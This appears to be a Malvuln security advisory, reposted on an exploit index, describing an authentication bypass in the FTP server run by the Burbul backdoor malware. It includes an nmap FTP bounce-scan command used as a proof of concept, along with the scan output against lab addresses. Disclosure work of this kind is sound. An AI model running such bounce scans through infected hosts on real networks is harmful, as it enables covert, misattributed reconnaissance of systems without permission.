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## https://sploitus.com/exploit?id=PACKETSTORM:162046
Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/3ee4cb2e06eb1f7fe54c89db903f3e7a_B.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Burbul.b  
Vulnerability: Authentication Bypass MITM Port Bounce Scan  
Description: The backdoor runs an FTP server that listens on TCP port 2121. Third-party adversaries can abuse the server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you. This is easily accomplished as the malware also suffers from a authentication bypass as any username password combination can be used to authenticate.  
Type: PE32  
MD5: 3ee4cb2e06eb1f7fe54c89db903f3e7a  
Vuln ID: MVID-2021-0154  
Disclosure:   
  
Exploit/PoC:  
nmap -n -Pn -b mal:vuln@192.168.88.128:2121 192.168.88.131 -p21,22,80 -v  
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-30 12:17 Pacific Daylight Time  
Resolved FTP bounce attack proxy to 192.168.88.128 (192.168.88.128).  
Attempting connection to ftp://mal:vuln@192.168.88.128:2121  
Connected:220 ╟Σα≡α±≥≤Θ≥σ ≤Γαµασ∞√Θ ⌡α÷Ωσ≡.. ╟αßσ≡αΘ≥σ Γ±σ ≈≥ε ±≈Φ≥ασ≥σ φ≤µφ√∞...  
Login credentials accepted by FTP server!  
Initiating Bounce Scan at 12:17  
Discovered open port 80/tcp on 192.168.88.131  
Completed Bounce Scan at 12:17, 2.13s elapsed (3 total ports)  
Nmap scan report for 192.168.88.131  
Host is up.  
  
PORT STATE SERVICE  
21/tcp closed ftp  
22/tcp closed ssh  
80/tcp open http  
  
Read data files from: C:\Program Files (x86)\Nmap  
Nmap done: 1 IP address (1 host up) scanned in 11.26 seconds  
  
  
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